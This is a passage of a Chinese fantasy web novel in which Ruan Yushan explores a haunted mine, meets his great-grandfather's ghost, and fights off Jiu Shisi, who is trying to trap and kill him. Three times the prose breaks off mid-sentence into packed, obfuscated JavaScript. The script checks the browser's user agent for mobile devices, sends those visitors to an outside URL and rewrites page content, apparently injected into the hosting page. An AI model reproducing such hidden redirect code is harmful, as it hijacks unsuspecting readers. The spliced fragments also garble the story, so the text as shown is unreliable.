他垂眼睨向几乎抵在自己经脉处的木枪,又慢慢抬眼打量阮玉山,最后舒展了四肢,轻轻翻身,一个仰躺,抬起下巴,四平八稳地用这个姿势使自己的喉结抵住了阮玉山的枪尖。 阮玉山下意识收枪。 九十四蓦地伸手,抓住他的枪杆,木枪尖端在九十四的喉结下方划出了一道浅浅的血痕。 木枪之上,九十四那张青玉瓷器似的脸神色还是那样冷,眉眼间八风不动,带着些许傲慢,淡淡地凝视阮玉山。 好像自由不重要了,活着暂时也无所谓,他就是要看看阮玉山敢不敢下手杀了他。 “松开。”阮玉山没有表情,只是命令。 天亮了。 没有鸡鸣,没有狗叫,只是一丝蔚蓝色的曙光照进屋子,让他们意识到外头大雾散了。 九十四一声微哂,用手背别开阮玉山的尖枪,拿起手边的书,麻溜起身走出门去,一副再不回来的架势。 阮玉山知道他这又是往学堂去,懒得同他置气,抬脚跨过九十四的床褥,刚要往床上去,忽一扭头瞅向九十四睡过的枕头。 不对。 九十四刚才为什么要用那样的神色试探自己敢不敢杀他? 赌气。 九十四为什么为了他的话赌气? 因为他说不稀罕九十四的喜欢。 九十四并不是个爱面子的人。 天下那么多瞧不起蝣人的人,也不见九十四挨个挨个置气。 九十四只同他置气。 同他说的那句不稀罕置气。 阮玉山的眼神变得意味不明。 阮玉山的木枪在手里晃晃悠悠。 学堂里学生们念书时的脑袋也摇摇晃晃。 九十四不晃,九十四一早上心不在焉。 他现在有两条路。 要么想法子让阮玉山解了刺青,自己远走高飞;要么想法子让阮玉山解了刺青,杀了阮玉山,再远走高飞。 九十四倾向第二条。 如果有什么能不让阮玉山解开刺青就能杀了阮玉山,同时还不影响到自己性命的法子就更好了。 “在想什么?” 席莲生的声音在耳边响起时,九十四才发现已经到了下学堂的时间,自己周围几乎没人了。 他一向有话就说,有问就提,毕竟这世上他学到的东西少之又少,不问问又怎么知道别人会不会有所涉猎。 于是他开门见山:“有没有人,又死又活?” “又死又活?”席莲生微微皱眉,对他的问题进行了自己的理解,“你的意思是,干麂?” “干麂。”九十四兀自把这话重复了一边,“什么是干麂?” “干麂就是活死人。”席莲生说道,“活死人,顾名思义就是活着的‘死人’。既不像死人一样只能躺在棺材里,但也不像活人一样有呼吸或者能见日光。” “哪里有干麂?”九十四忙不迭开口,“怎么变成干麂?” 席莲生认为九十四的求知欲过于旺盛,话语中似乎蕴含某种非常强烈的目的:“你问这做什么?” 九十四一下子收敛神色低下头,摆出一个缄口不言的姿态,只简略地敷衍:“问问。” 他不打算让自己唯一的朋友知道他总是动不动想杀人——纵使目前想杀的只有一个该死的阮玉山。 不过他虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过这只是个传说。”席莲生慢悠悠收起手上的戒尺和书卷,朝学堂外走去,玩笑般宽慰道,“矿道塌了几十年,这个传说就流传了几十年。就像某处荒废的医馆闹鬼,某个年久失修的学堂总是传来婴儿哭泣,某个乱葬岗总有颗脑袋在找自己的身体一样,故事传了几十上百年,也没人知道究竟是不是真的,也没人上赶着去验证——活腻了才会去找死。” “那你呢?”九十四发现今天席连胜似乎很急着收拾东西回去,他看着席莲生的脸,发现对方今日的脸比起昨天少了些血色,“你听过矿道里挖矿的声音吗?” 席莲生从门内跨出一只脚,回头笑道:“当然听见过。” 九十四追问:“那晚上跳河的声音?” 席莲生嘴角的笑僵了一瞬。 “也听见过。”他把脚收回来,重新面对九十四,“把屋子赁给你的人没告诉过你,夜里听见声音不能出去?” “我没有出去。”九十四说,“我只是想知道那是什么。” “没人知道。”席莲生这次在九十四话音尚未落地时便开口,险些将九十四的话打断,“这村子古怪,我清楚,你也清楚。可如今世上,谁都只想有个栖息之地,我是,你是,村民们也是。外面的东西,不去听,不去看,大家摸索出苟活的法子,只要跟那些东西互不打扰就能活命的话,其他的事自然是了解得越少越好,你觉得呢?” 原来这就是整个村子一直以来所有人相安无事的原因。 不是没人好奇每晚外边都有什么作祟,而是所有人都遵守着规则,不敢因为一时好奇坏了规矩。 “那,”九十四对他们的做法不置可否,也并不因为席莲生的震慑就停止提问,他看着学堂的墙壁,沉思后问道,“人的胳膊长在墙上,正常吗?” 席莲生对着九十四凝望了很久。 半晌,席莲生耐心笑道:“自然。” 29.太爷 阮玉山又是一个人在院子里。 他百无聊赖地扫了地,喂了马,灶上还煮了饭。 不在府里的时候,阮玉山其实对这种亲历亲为的日子过得很是自得。 身在何等环境便自处何种身份,在府上日理万机是正事,同样,隐姓埋名的时候,在这一方小院洗衣做饭对他来说也是正事。 给九十四的马喂草的当儿阮玉山抱着胳膊沉思了半天,决定不给九十四取任何名字。 他了解自己,也自认还算了解九十四。那种倔得九头牛都拉不回心意的人,是旁人一次不忠,他便百次不用的性子。 阮玉山知道自己是没资格给九十四取名了。 不过他虽然没有取名的资格,但总有引荐的资格。 九十四是不懂中原那些取名的规矩和习惯,因此决不会轻易给自己找个名字就使了,不找阮玉山,必定也会找别人。 阮玉山也不乐意让席莲生后来居上——平心而论,他其实很清楚九十四与席莲生之间并不会产生什么非同寻常的感情,他不喜欢席莲生,只是因为这个人的出现让他发现九十四待他总是比常人更低一等。 怎么任谁来了九十四都能客客气气温温和和,一到他阮玉山面前就成天摆个臭脸? 他阮玉山是穷酸了,还是迂腐了?身上有味儿,熏得九十四老远见了他就眉头直皱? 若是整天只对着他皱眉头那也就罢了,阮玉山还能糊弄糊弄自己九十四天生就是个臭脸;偏偏席莲生撞上来,让他瞧见原来九十四也是会好好说话的。 一个乡野村夫,地位还能高到他头上去了? 阮玉山冷着脸,因为对九十四感到不满,连带看九十四的马也不顺眼。 他把九十四的马嘴里最后一口草扯出来,丢到旁边,在低低喘气的马叫声里转身往灶前去做饭。 做完了午饭,九十四没回来。这是阮玉山能预料的。 谁发脾气不是发个一天半天的? 阮玉山表示体谅。 晚饭过了,九十四还没回来。 阮玉山背着手在屋檐下踱了几个来回,决定不等了。 他今晚还有别的事得做。 明天是望日,今夜过山峰旁的矿山矿道会打开,阮玉山得先下去看看地形,若是能趁干麂尚未复活直接找到阮老太爷的骨珠是最好,以免明天碰见复活的干麂,生出不测。 他从包袱里拿出一早顺备好的工具:火折子,罗盘,绳子,挂钩,和一把扇子。 又拿纸笔写了一句话放在桌上:饭温在锅里,夜间不要外出。 写完以后阮玉山想了想,认为这话太过温和,拴不住九十四,于是又回头加了一句:如若不听,待我回来,将腿打断。 他感知得到九十四就在附近,兴许是不想见他,才一直没有回家。 从此处到矿山还得走上大半个时辰,阮玉山牵了马,提胯上座,双腿用力一夹马肚子,朝身后的某个方向喊道:“回去吃饭!” 说完便驾马离开了。 他今夜必定是回不来的,且不说矿道情况如何,就算他走运早早找到了老太爷的骨珠,那这村子夜半也不能见人——他还没蠢到半夜跑回大雾里送死的地步。 俗话说要修矿道,先立矿井。甭管多好的山,山里藏着多好的矿,那也不能随便找个地儿打洞进去就开始挖了。山里的矿跟碗里的饭不一样,不是均匀遍布在每一处地脉。 早年间挖矿,都得先根据草木岩石的分布和走向,探寻出大概的矿脉,再不停地定点,一个点打一个竖井,竖井直直地打进山里去,若是打得足够深了,还找不到矿石,那就去下一个点接着打。 佘家寨的矿道修得偏僻,虽说过山峰旁边那座山一看就是个好山,但矿脉却不好找,当年佘老大打了很多竖井,最后才在山背面竖井底下探到铜矿,再开始铺矿巷,也就是安矿道。 阮玉山依照老太太给的地形图,凭记忆找到山背的那个竖井,竖井口的轱辘早已荒废,木轮用不得,绳子也脆了。 按理,矿道口还有个专门负责人员运输的口,叫马头门。不过如今整个矿道都停止运作了,从哪个口下去都一样,阮玉山也就不讲究了。 他取下挂钩和绳子,把绳子一端在自己腰上饶了两圈,又把另一段系在挂钩上,找了一处坚硬庞大的岩石,将挂钩打进石后土地里,再回到竖井前,拿出火折子,点燃离开屋子前随手拿的木柴,丢进去,瞧见木柴落地后扔在燃烧,才攀着竖井慢慢下去。 在竖井里落了地,阮玉山打开折扇一边朝前扇气,一边拿起火把四处看了看。 这矿山里的各处巷道修得四通八达,果然如传闻所言,原本坍塌过后该被废石填满的矿道此时空空荡荡,当真一到朔望日前夕就跟被清扫过一般对外打开了。 阮玉山举着火在目前唯一一条平巷中行走,举目所见每条矿道四面都布满加固的木条,在采完矿以后的地方也不难看出用废石回填的痕迹,可见当年阮老太爷留在佘家寨的监事没吃白饭。 如此坚固的矿道,实在难以想象会因何坍塌,又为何将数百口人尽数埋葬在此。 阮玉山越往前走,矿道愈发黑了。 火把逐渐找不清前方和四周的矿壁,就连每条道四面的护架也得从凑近了才能看。 阮玉山伸直手臂,尽可能照亮远处,双眼盯着自己的脚下,用玄息感知自身前后,以免突然遭遇袭击。 他一步一步走得愈发谨慎,越往里走,外边的世界就越远了,连风声也被隔绝。 荒废数十年的矿道寂静无比,除了他自己平稳到几乎发不出声音的脚步,矿道里只剩他的呼吸。 火光渐渐微弱到只照得见火焰周围数寸的范围。 万幸,阮玉山的玄息并未探查到矿洞中有任何其他的存在——至少没有任何其他玄者或妖物的存在。若只是存在没有玄气的普通人,他的玄息探查不到,那内力也该感受得到。 除非,这里有玄境比他更高的人,能在他的感知中隐藏自己的玄气。 这种人在世间千万中难找其一。 阮玉山虽然自负,也绝不是掉以轻心之辈,他走得愈发往里,便越谨小慎微。 矿道里久无人至,阮玉山且行且看,忽然想起,那个负责运输人员的马头门还负责排水和通风。 也不知这矿道里的马头门是否还连接着外边,若是没有,他可得出去先把那个入口找到,否则今夜非得活活憋死在这里边。 矿井深处换气越来越难了。 阮玉山尽量控制着自己呼吸的频率,打算再往前走三丈,若在底下找不到马头门,他便出去找到再进来。 他胸腔起伏着,感觉自己的呼吸越是控制,就越是沉重。 他试着把呼吸放轻,可似乎完全没用,就算是憋着气,也能听到呼吸声。 阮玉山脚步一顿。 是他的头顶一直有人。 “谁!” 他将手中火把蓦地举高,抬头看向头顶呼吸声所在来源,目之所及却只有森森矿壁和一节节支撑矿道的木格,瞧不见别人丝毫的身影。 呼吸声还在继续。 手中的火把微不可察地朝后方飘闪了一下,阮玉山猝然转身,将火把对准方才余光所见,以平时握枪的姿势直直刺入来人面门。 火把穿过了对方的身体,却不见有任何变化。 这只是一个幻影。 阮玉山面前的男人看起来只有二十来岁,最多不过三十出头,身量是芝兰玉树,长相也是风流倜傥,剑眉星目,若真变成个实打实的人站在这儿,半点不比阮玉山差到哪去。 对方抱着胳膊,悠闲地倚靠在矿壁上,笑吟吟地喊:“小玉山儿。” 这是阮玉山年幼时老太太对他的称呼。 阮玉山收回火把,凝神注视眼前的幻影。 俄顷,他开口道:“曾祖父?” 阮府每个家主在接任州主之位时,都会请先生提前来府中做一张丹青。 阮老太爷年轻时的画像就挂在阮家宗祠里,阮玉山从小看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196611|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到大。 “眼神不错嘛。”英年早逝的阮老太爷站直身子,绕到阮玉山身边,虚幻的胳膊拍拍阮玉山的肩,“本老爷是不是比画像上好看许多?” 阮玉山睨着他,还没开口,又见对方摸了摸头发,点点头:“我自来不上相。” “……” 阮玉山虽然向来很认可自己的脾性,但如若眼前有个跟他一样甚至超乎他十倍难缠的人,他就没那么认可了。 何况这个人还相当的为老不尊。 他抬臂想要拨开对方搭在他肩上的手,触到一片空气之后,发现拨不开,便往旁边挪了一步,不情不愿做了个礼:“孙儿此次前来,是奉老太太之命,寻得您老的骨珠,拿回去安葬。” 阮老太爷挑着眉毛看这人装模做样在自己面前叽里呱啦一大通,末了,见阮玉山等他回复,才恍然道:“啊,骨珠啊。” 他再次绕开阮玉山,轻飘飘地往返回的路上走:“跟我来。” 也不知是不是阮玉山错觉,自家曾祖父与自己擦身而过时似乎翻了个白眼,还嘀咕了一声:“装什么。” 阮玉山乜了曾祖父的背影一眼,懒得跟一个鬼计较。 “少在背后瞪人,”对方头也不回,“我看着你呢。” 阮玉山至思索了一瞬:“这整个矿道都是你?” “很聪明嘛。”老太爷负手,徐徐前行,“不过并非整个矿道都是我,而是我,献祭给了整个矿道。” 矿壁上的呼吸声跟随他们的脚步起伏。 “献祭?”阮玉山问,“为了佘家寨的人?” 阮老太爷终于回头了,带着一种颇为赞许的眼光:“不愧是我孙子。” “……” 不愧是他老太爷。 如果对方不是他曾祖父,阮玉山这儿已经把人脑袋拧下来烧茶喝了。 “这矿山旁边有个细细长长的山头,你应该听说过,叫过山峰。”阮老太爷随心所欲起来跟阮玉山如出一辙,根本不管别人看不看得惯,只管自己想说什么,“过山峰有几个来历,想必也不需我赘述。当年佘家寨挖这座矿,那得归咎我的指引,若不是我拿此处矿山当聘礼,佘家寨上上下下数百口人也不会葬身于此。” 他说到这儿,语气一顿,似乎开口想问什么,不过话到嘴边还是停下,先把要紧的说了:“这矿山紧挨过山峰,而过山峰又恰好是传说中无相观音封印妖蟒所在。佘家寨人的死因其实很简单——那时他们挖矿挖得太深,挖到了那把观音用来封印蟒蛇的三尖戟。” 这一挖便触怒了神器。 几乎是眨眼的功夫,整个矿道天崩地裂,从内部轰然坍塌,佘家寨整个寨子连同阮老太爷留在此处的监事全部因此丧命。 神器之怒,响天动地,找不到罪魁祸首祭天,怒意便难以止息。 “他们在变成干麂之前,日子可没那么好过。” 老太爷终于走到阮玉山进来的竖井下方,他定立在不远处,望着井口投射到自己脚下的一束微薄月光,背影略显伶仃寂寞:“干麂不过是像活死人一样每逢朔望便醒来劳作,太阳升起便继续长眠。我来赎罪之前,他们每时每刻都在遭受巨石压顶的折磨,想喘喘不过气,五脏六腑时时刻刻都在被不断地震碎又愈合。这样在生死边缘徘徊的日子,他们撑了很久。” 直到身体被不断散发的怨念蒸发成了瘟疫。 人不是有恨才会有怨,只要在经历痛苦,就会不由自主产生怨念,这不是人的意愿所能抗衡的。 “他们不恨我,也不想害我。因为我死了,他们的大小姐就会难过。”老太爷仰起头望向井口,“可是他们的怨念太过强大,想出去的欲望太过浓烈,最终怨气化作瘟疫,残害了山下一方百姓。” 阮玉山沉默片刻:“那个跑回阮府传假信骗你来此的二当家,是他们设计的?” 阮老太爷背对着他摇头:“你高估了佘家寨的冤魂。” 矿道中静默了许久,阮玉山听见老太爷开口。 “那是神器的追杀。” 30.偷袭 无相观音留下的神器,可不是什么中看不中用的银样镴枪头。 既然有人敢挖矿挖到三尖戟的结界身上,不找到罪魁祸首,神器便不会罢休。 很显然,最后被神器判定为罪魁祸首的,不是一开始发现了矿山却没能动手的先太上皇,也不是被蒙在鼓里最终什么都没得到的幽北城主。 动手的佘家寨和策划一切的阮老太爷,一个也逃不掉。 “佘家寨挖矿太深,惊醒神器是无心之失,也得当场毙命为此付出代价。我机关算尽,为了一己私欲一手促成采矿之事,惊扰了神器,它更不会放过。最重要的是,这一次挖矿,挖动神器,破坏了观音当年在此留下的结界。” 阮老太爷仰望竖井的头久久没有低下。他高高的发髻悬在阮玉山眼前。阮家的男儿一向都是这样干脆利落地束发,阮玉山看着曾祖父发冠上的珊瑚花纹,花纹折射出一道温润的月光,那道光已经在这个矿道的竖井下闪烁了几十年。 “结界被毁,巨蟒的力量便在此地开始催动。山脚下村民渐次出现瘟疫症状,实则是巨蟒借了佘家寨冤魂的怨气,对村民的性命进行吸食。若再不进行阻止,满村的疫气和怨气集成了灵,帮助巨蟒冲出封印,便是神器失职。因此神器要寻找东西修补封印。” 阮老太爷说到这儿不说了。 阮玉山也听明白了。 ——阮老太爷的高阶玄者骨珠就如同那补天的石头,是上好的、填补封印的法器。 “当年跑回阮府报信的二当家,只是神器放出来的一个傀儡,目的是引我前往矿山,为自己的所作所为赎罪。” 回忆起那个千里奔袭来此赴死的晚上,自己的骨珠,连同肉身、灵魂是如何一步步被神器的力量拆解、献祭,再协助其完成镇压封印的,阮老太爷已经记不清了。 七十年的光阴说长不长,说短不短,他像守山的山灵一样和冰冷的神器作伴,这里有无数个漫长夜晚足够他铭记当时的细节,可阮老太爷这许多年竟是一次也没回想过。 阮家人从来都是记吃不记打,即便骨珠被取,肉身化石,灵魂被处以永恒的孤寂,他也从没有过片刻的后悔,遑论夜夜反思,吸取教训。 毕竟被关在这儿已经够苦寒了,谁还乐意日夜反复咀嚼自己死无葬身之地的记忆? “就算重来一次,我还是要娶她。”阮老太爷说起这个,后脑勺颇为骄矜地晃了晃,“换个聘礼罢了,我就不信自己次次都会马失前蹄。” 阮玉山倒是有几分佩服他的顽固不化:“那她现在要我前来取你的骨珠,你给是不给?” 阮老太爷一回头:“给啊。” 他笑:“她要什么我不给?” 阮玉山问:“给了这封印怎么办?” 阮老太爷伸出手指朝他一点:“一看你小子就没好好念书。” 阮玉山眉毛一挑,刚想问这干读书什么事,就听老太爷解释:“阮府荟英楼第四层,有一本古籍,叫《初元注》,是阮家先祖当年请数十位大能到府中,将世间许多孤本残卷夙兴夜寐整理三年,合著而成。《初元注》中有一卷,名《盂兰》,是天子府中稀世孤品《盂兰古卷》的拓本,卷中详细记载了自能仁佛祖创世起,无相观音在混沌中来去千年,斩杀封印的一切妖魔,以及他留在娑婆世间的所有封印法器。” 阮老太爷一看就认真念了书,说起这些简直如数家珍:“比方说无镛城谢府谢小将军所用的龙吟箭,便是当年观音屠龙后,拔龙须,抽龙骨做成的神器;再比如暲渊中有一只鼍围……” “好了。”阮玉山很是不想听到这个无处不在的谢九楼,打住道,“您老人家直接说,这古卷关乎此地封印的部分。” 阮老太爷便接着说:“根据我对古卷的记忆,无相观音虽然嗜杀残暴,但做事却十分周全谨慎。 “传说他在混沌每过一处,若是开了杀戒,必定将妖物尸身做成法器,留一神兽看守,待后世有缘人取走;可若是不开杀戒,仅仅是将妖物封印——一来是他认为此妖罪过尚未大到非死不可的地步,二来,镇压一只大妖,也有威慑方圆百里无数小妖的作用,因此他若对妖物只封不灭,那必定会留下不止一件封印神器,以便后世不时之需。” 比方现在,阮玉山若是取走骨珠,破了神器三尖戟的封印结界,那世间一定还有一样法器是观音留下来镇压过山峰的。 “第二件神器是什么?”阮玉山问,“您老告诉我,我去取了来,给这儿换上。” 阮老太爷咳嗽一声,脸上闪过一抹尴尬神色:“我忘了。” 阮玉山眯眼:“忘了?” 阮老太爷很不愿意承认自己当年也没好好念书的事实:“啊呀,兴许是当年求知太过急切,一目十行,忽略了这点小小的纪要。” 他“啧”了一声,不给阮玉山质疑的机会:“你问我?我是古卷吗?府里藏书阁放得好好的你不看,偏要问我这八九十岁的老人家?” 阮玉山理直气壮:“荟英楼四楼被我烧了。” 老太爷一愣:“什么时候。” 阮玉山想了想:“六岁的时候。” 老太爷:“怎么烧的?” “火烧的。” 阮老太爷急得想上手给他两下:“我问你为什么要烧!” 阮玉山说:“不想读书,就烧了。” 当然,后果他没说——他爹他娘加上老太太三个人联合起来一顿家法,阮玉山差点没能活着长大。 阮老太爷一个巴掌打过去,虚空的手臂穿过阮玉山的身体。 “晚了。”阮玉山慢条斯理,躲也不躲,“您要是多活个五六十年兴许还能过过手瘾。” 现在是打不着他了。 “败家子。”阮老太爷讪讪收手,低头转了两圈,停下来,一挥胳膊,“那你就去天子府找天子要吧!” 阮玉山盯着他。 老太爷哎哟一声:“我不是非要你把骨珠带回去见她。只是这些年,我愈发力不从心,和神器一起,感觉这封印越来越弱了。业精于勤荒于嬉,镰刀许久不用尚且要生锈,骨珠放久了也是一样。兴许是我骨珠的玄气随着年月渐渐消散,力量填不满封印的缺口,也未可知。” 阮玉山终于了然:“这就是您托梦给老太太,让她老人家打发我来取骨珠的原因?” 他就说老太太怎么着也不会无缘无故叫他来取老太爷流落在外几十年的骨珠,总该是有点内情,合着都是老头子在作妖。 取骨珠为假,替老太爷寻找另一件神器镇压过山峰才是真。 “还有一件事。”老太爷忽然端正了神色,“这巨蟒既然能让我感知到封印不再牢固,兴许它的一部分力量已经突破镇压,窜逃出去了。无相观音杀伐果断,为大妖留下第一件法器是为封印,如果大妖不愿悔过,冲破了封印,那么观音留下来对付它的第二件神器,必定是杀器。以杀代封,是观音的第二次惩处。” 阮玉山静静听了,明白他是什么意思。 找到神器是第一件事,找到以后不是放到这儿就完了,还得拿着神器杀了过山峰,这是紧接着的第二件事。 阮玉山问:“您老的骨珠在哪?” 找神器归找神器,骨珠是老太太托付的,他可没忘记来这儿的主要任务。 老太爷笑了笑,指着身后四通八达的矿道:“从这儿进去,第一个拐口往右,一直跟着矿道走,再经过一个斜巷,抵达矿洞最深处——我的骨珠这半个月就在那里。” 阮玉山:“这半个月?” 老太爷道:“它每次的位置都不一样。” 阮玉山转身便要去寻。 阮老爷一步向前,翻身挡住他:“这东西今儿看不到,得朔望日来了,让佘家寨那些干麂们才能带你找到。” 可就算不找,阮玉山今夜也得待在这儿过夜,倒不如四处转转。 他问:“这矿洞里的马头门和其他竖井还通着?” “通着。”阮老太爷随手指了几个方位,“你想从哪出去都可以。” 阮玉山沉思片刻:“你想不想她来见你?” 老太爷愣了一愣,无奈笑了:“九十六的人,你叫她消停点吧。” 阮玉山不置可否。 俄顷,又问:“你想不想出去见她?” 老太爷似笑非笑:“她没告诉过你,不能带这矿洞里任何人出去?哪怕是我。” 阮玉山自然记得。 矿洞中的干麂们一旦出去见了天光,会当即灰飞烟灭,并且引发瘟疫。 而阮老太爷,看这架势,该是离不开这里了。 阮玉山耸肩:“随口问问。” 就在这时,他身后的竖井口传来“咚”的一声。 阮玉山扭头,眼角一抽。 ——是九十四。 矿壁的呼吸声停止了。 他再抬头,此时正是子时,月上中天,天色十分明亮。 本该在他身后的阮老太爷也消失了。 阮玉山该问的都问了,该找的也还没到时候找,这会儿正好闲下来,就撞上九十四跟来了。 他走过去绕着九十四打量了两圈,厉声低问:“你来做什么?” 九十四瞅他一眼,又看看他拴在腰间的绳子,学着他的姿态背着手,有模有样走了几步,往周边矿壁打量,对他爱答不理:“看看。” 阮玉山一看就知道这人没安好心。 他也不拆穿,也不逼问,反正俩人既然都来了,今晚便只能在此过夜。 他倒要看看,九十四那肚子装的坏水儿几时往他身上泼。 阮玉山眼下只挑自己有兴趣的问:“跟了我一路?” 九十四垂下眼皮斜他,整张脸冷冷的,是个很轻视的神态:“外面有马,地上有印。” 意思是跟着马蹄和脚印就能找到他,犯不着一开始就跟着。 阮玉山说:“担心我?” 九十四别开头望着上头,只吐出两个字:“不配。” 也不说是他不配,还是阮玉山不配。 这是还在为昨晚的话赌气。 阮玉山瞧他赌气的样子,眼神便暗暗有了点笑意。 不过再想笑也得忍着,待会儿旧恨未消,又添新仇,把人再得罪一次可就犯不着了。 两个人僵持着,阮玉山眼珠子一转,意识到九十四是个有问必答的性子,再怎么同他赌气,只要他发问,九十四就是拉着脸,哪怕只蹦一两个字儿,也会回答。 阮玉山开口,刚想问九十四是怎么下来的,就见九十四一个扭头:“我走了。” 还没抬脚,就被阮玉山一个横跨挡住。 九十四也不跟他闹,只是木着脸,一副十分坦然又冷漠的模样。 他今夜举止怪异,可是也懒得跟阮玉山解释,更不想在阮玉山面前欲盖弥彰,反正自己两手空空,什么都没做,阮玉山也没错处拿他。 果不其然,阮玉山又绕着他走了两圈,来回地看了又看,蓦地扬唇,给他让道:“你走吧。” 既不问他来的目的,也不问他去的方向。 九十四蹙眉,也察觉到了阮玉山的蹊跷。 不过他也不吭声,说走就走。 他双手抓住竖井的木框和嶙峋的矿壁,双脚一点,身轻如燕,三两下攀爬了出去。 合着刚才是站在上头双腿一跃直接跳下来的。阮玉山心里想,赶明儿回去还得看看九十四的膝盖。 不过看今晚的架势,他得有命活到明天才行。 阮玉山一面嘀咕,一面儿提脚往矿道深处走去,很快便隐入望不见尽头的黑暗。 ——九十四确实没想让阮玉山活到明天。 他在天黑前顺着阮玉山的马蹄印骑马赶到山脚,又根据脚印找到竖井口,瞧见井外嵌在地里的钩子,只敢推断阮玉山目前在这底下,但里头情况如何,他并不清楚,所以才一个纵身跳下去打算亲自打探打探。 哪晓得刚落地就撞上阮玉山。 九十四看这人手上就一根半熄不熄的柴火,一把扇子,腰上捆两圈绳,跟他先前在屋外所见大差不差,心便先稳了一半。 阮玉山明知他行动诡异却仍旧放他离开,这确实匪夷所思,不过各人有各人的算盘,九十四的算盘打得很干脆:他手无寸铁,身无长物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206066|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,知道要杀心机深沉的阮玉山难如登天,可今夜是最好的,也是唯一的机会。 狡兔三窟,阮玉山有心眼,他也不怕,左不过兵来将挡水来土掩罢了。 乱拳有时候也能打死老师傅。 只要把阮玉山永远困在这个矿道里,对方变成了干麂,半死不活,他就成功了一半。 至于身后的刺青束缚着他不能离开阮玉山百里以内,那可以再做打算。 活的阮玉山他都能解决,一个半死不活的干麂,他还不能想法子解开刺青了? 再者,大不了把变成干麂后的阮玉山带在身边,形影不离。 见不得日光没关系,裹一层就好了。 九十四认为自己这个想法很不错,因为变成活死人的阮玉山一定比现在的阮玉山讨人喜欢。 他越想便愈发坚定,甚至心里开始狂热地思考变成干麂的阮玉山待在他身边是什么样子。 九十四一边想,一边一脚踹开阮玉山嵌在地里的钩子,先断了阮玉山攀岩的绳索,再想法子把这出口堵住。 他举目四望,选中了不远处一块十分巨大的扁平的山石,几乎可以当作盖子盖在井口。 一块不够,这根本压不住阮玉山。 九十四缓步走过去,且行且寻,目光繁忙,简直不肯放过这山上任何一块可以盖在井口的石头,生怕看漏一个就让阮玉山逃之夭夭。 他忙碌了两刻钟,一声不吭搬来两块有一个灶台那么大的石头,正要去寻第三块,阮玉山的声音凉阴阴地贴着他耳朵响起:“想杀我?” 九十四毫不犹豫掏出怀里巴掌大的利石往身后阮玉山的脑袋砸过去。 他清楚对方绝不会那么干脆利落地被他杀死,可是他不管了,只要今晚把阮玉山解决在这里,让人脑袋开花也好,半身不遂也罢,反正给阮玉山留一口气丢到矿道里,他就能得到自由。 只要今晚! 九十四在阮玉山躲开自己第一次袭击时突然暴起,发了疯地朝阮玉山扑过去,面目狰狞地再次举起手里尖锐无比的石头,下了死手往阮玉山要命的地方砸。 蝣人天生的玄力和手劲儿可不是闹着玩儿的,阮玉山先躲了两招,发现这人杀红了眼,是真要自己的命,一时心肠冷了,也不再闪躲,实打实地跟九十四过起招来。 九十四待在阮玉山身边两天,拢共就学了那么几招,还是自己暗里偷师的,空有一身蛮横的玄气,其他也压不过阮玉山。 偏偏阮玉山了解他那些习性,不跟他拼硬的,就是走巧,防守为主,攻击为辅,好几次在九十四轰然打出的玄气下擦身躲过。 九十四几次失手,几乎有些打急眼了,也不再管什么招式,不讲究章法,更不管自己体内玄气的调息,一股脑扑向阮玉山,像在蝣人斗场里时那样,赤手空拳地要把阮玉山往死里揍。 他跟阮玉山缠斗起来,两个人在地上绞做一团,九十四斗得生出了些无可奈何的情绪,但又不愿前功尽弃,劝慰似的对阮玉山吼道:“你安心的死吧,我会守着你的!” 阮玉山险些气笑了。 他一边在心里大骂九十四不是个东西,自己简直养了头白眼狼,一边彻底狠下了心,聚集玄气,往九十四腰腹和胸口处快速地点了几处穴。 九十四打着打着闷哼一声,惊觉自己浑身玄气通通堵塞在身体里,仿佛经脉中血气凝滞一般,不管怎么催动,都使不出半点玄力与阮玉山抗衡了。 正在他尝试强行冲破穴位要跟阮玉山来个鱼死网破时,自己忽然被人揪着后颈仰面一翻,倒在了地上。 阮玉山沉沉地压下来,扯了他的腰带捆住他的双手,往他头顶一别,将他摁住,恶狠狠地狞笑:“蝣人九十四,你贼心不死,贼胆不小啊!” 九十四拼了命地挣扎,双腿蹬踢着,没两下又被阮玉山的膝盖压住。 “我待你不薄!”阮玉山也气急了眼,“你恨我……你就那么想杀我?!” 九十四发了疯,根本听不进阮玉山半个字,他手脚受限,便想方设法扑腾腰身和脑袋想要跟阮玉山同归于尽,可是被点了穴,扑腾那么两下也没有用,于是他像匹绝望的野兽一样不顾一切地在阮玉山身下嘶吼,完全失去了理智。 阮玉山看着九十四额前凸起的青筋,还有颈下被汗濡湿的头发,知道九十四发起怒来就连细长的眉尾都是带着刺的。 他一把掐住九十四的下颌,逼近到九十四眼前,迫使对方看着自己:“告诉我!为什么那么恨我!” “你该死!”九十四死死地瞪着阮玉山,他微微低着头,眼睛却是往上瞪的,隔着高高的眉骨,九十四的眼神看起来淬满了恨意,“我不配,那你就死!” 阮玉山抵住他的额头:“什么不配!” 九十四不分三七二十一,脑子里被怒火烧得白茫茫一片,想到什么就吼什么:“名字!” 阮玉山一怔。 他掐住九十四下颌的五指放松了力道,人也微微起身,将脸朝后退了退,神色怪异地低头注视着九十四。 